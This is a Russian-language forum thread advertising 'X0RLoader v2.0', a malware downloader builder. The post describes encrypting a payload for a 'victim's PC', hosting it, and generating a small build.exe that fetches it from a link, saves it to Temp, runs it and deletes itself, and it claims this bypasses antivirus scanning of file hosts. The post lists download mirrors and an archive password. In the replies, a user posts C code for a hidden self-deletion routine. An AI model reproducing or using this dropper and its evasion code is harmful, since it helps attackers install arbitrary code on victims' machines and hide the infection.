X0RLoader v2.0

X0RLoader - немножко усовершенствованная версия старого, никому неизвестного XNTeam Downloader, который недавно, канул в мусорку на пару с хардом.​

Как работает: жмем "Выбрать файл", и выбираем то, что мы хотим прогрузить на ПК жертвы, далее нажимаем "Зашифровать". Зашифрованный файл, грузим на хост. Дальше уже все понятно, указываем линк на этот файл, и название, при котором он у нас сохранится на диск в папку Temp, и запустится. "Создать", и на выходе у нас файлик, build.exe, размером ~10 килобайт. После совершения всех действий, лоадер самоудаляется.

build.exe создается рядом с тем файлом, который вы зашифровали (!)​

Расширение, можно указывать какое угодно, КРОМЕ *TXT (при скачивании с большинства хостов, файл выходит с другой кодировкой, соответственно, лоадер не может его расшифровать)

Плюсы такого скачивания? Ну нам уже не страшны антивирусы, которые любят сканировать содержимое хоста (narod.ru к примеру), + большинство хостеров, запрещают хранение файлов с exe расширением.

UnHidden Content:

Скачать
Зеркало1
Зеркало2

Пароль на архив: xnteam

MD5: 17B10187F064CA643022DBBF9E47766F
SHA-1: F24556AD6BBFF51290FA5B5B42D07F0142CCDCD6

 

KaeraK,
скажите а для какой цели служит поле name.exe, спс

 

это теоретически а на практике че бы я туда ненаписал один хек при создании build.exe каким он был таким он и остался build.exe и название файла не меняеться

 

при запуске через "ComSpec" нужно преобразовывать длинные пути в короткие

Код:

BOOL SelfDelete()
{
 CHAR szFile[MAX_PATH], szCmd[MAX_PATH];

 if((GetModuleFileName(0,szFile,MAX_PATH)!=0) &&
  (GetShortPathName(szFile,szFile,MAX_PATH)!=0))
 {
  lstrcpy(szCmd,"/c del ");
  lstrcat(szCmd,szFile);
  lstrcat(szCmd," >> NUL");

  if((GetEnvironmentVariable("ComSpec",szFile,MAX_PATH)!=0) &&
   ((INT)ShellExecute(0,0,szFile,szCmd,0,SW_HIDE)>32))
   return TRUE;
 }
 return FALSE;
}